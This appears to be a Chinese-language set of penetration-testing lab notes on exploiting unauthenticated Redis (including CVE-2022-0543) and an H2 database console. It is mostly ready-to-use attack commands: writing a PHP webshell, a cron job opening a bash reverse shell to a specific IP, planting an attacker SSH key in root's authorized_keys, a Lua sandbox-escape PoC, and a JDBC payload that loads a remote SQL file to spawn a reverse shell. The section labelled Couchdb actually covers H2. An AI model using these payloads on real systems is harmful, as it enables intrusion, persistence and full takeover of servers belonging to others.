redis服务默认端口：6379；我们可以通过端口扫描来判断是否存在该服务。

复现环境：

 攻击机：本机window11  ip:192.168.1.3

Redis未授权访问

CNVD-2015-07557

我们启动靶场之后，首先使用工具进行连接。发现可以连接成功并且可以执行命令，说明存在未授权访问。（其实攻击方式就是基于拿到了对方执行命令的权限，我们如何攻击）

 攻击方式：

• 如果对方服务器存在web服务，我们写webshell（需要有写的权限），利用工具连接，从而拿到服务器权限。

config set dir /tmp            #设置WEB写入目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

bgsave                         #保存执行

save                           #保存执行

•  写定时任务反弹shell，

利用条件：Redis服务使用ROOT账号启动，安全模式protected-mode处于关闭状态。

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"

config set dbfilename x

save

• 写入Linux ssh-key公钥

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

//以上步骤在自己的攻击机器上执行

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

 上面都是我们自己手动执行命令测试，也可以使用自动化项目，执行命令直接攻击。

项目：https://github.com/n0b0dyCN/redis-rogue-server

运行脚本之前先进入redis-rogue-server-master\RedisModulesSDK\exp目录，然后make一下，生成exp.so的文件，然后再运行python脚本

 注意：这里我们拿到的是目标服务器的命令执行权限。而上面是连接到redis的终端，仅仅可以执行redis的命令。

CNVD-2019-21763

 CVE-2022-0543

这个连接到redis之后，我们直接执行命令。

POC：

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 

Couchdb未授权

直接复制上面url到JDBC URL即可进入后台，不需要用户名和密码。

 2.RCE执行反弹

h2.sql:

CREATE TABLE test (

     id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例：bash -i >& /dev/tcp/x.x.x.x/6666 0>&1   （x.x.x为攻击机的ip）

 payload(加载远程sql):

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://攻击ip:89/h2.sql';\

1. 在攻击机创建一个文件（h2.sql）内容如上
2. 然后监听89端口（命令：python -m http.server 89）
3. 可以尝试访问一下该sql文件能否正常访问下载
4. 在JDBC URL中输入payload（加载我们上面创建的sql文件）
5. 攻击机我们新建一个终端，然后监听端口8888（nc -lvvp 8888）；等待目标的终端反弹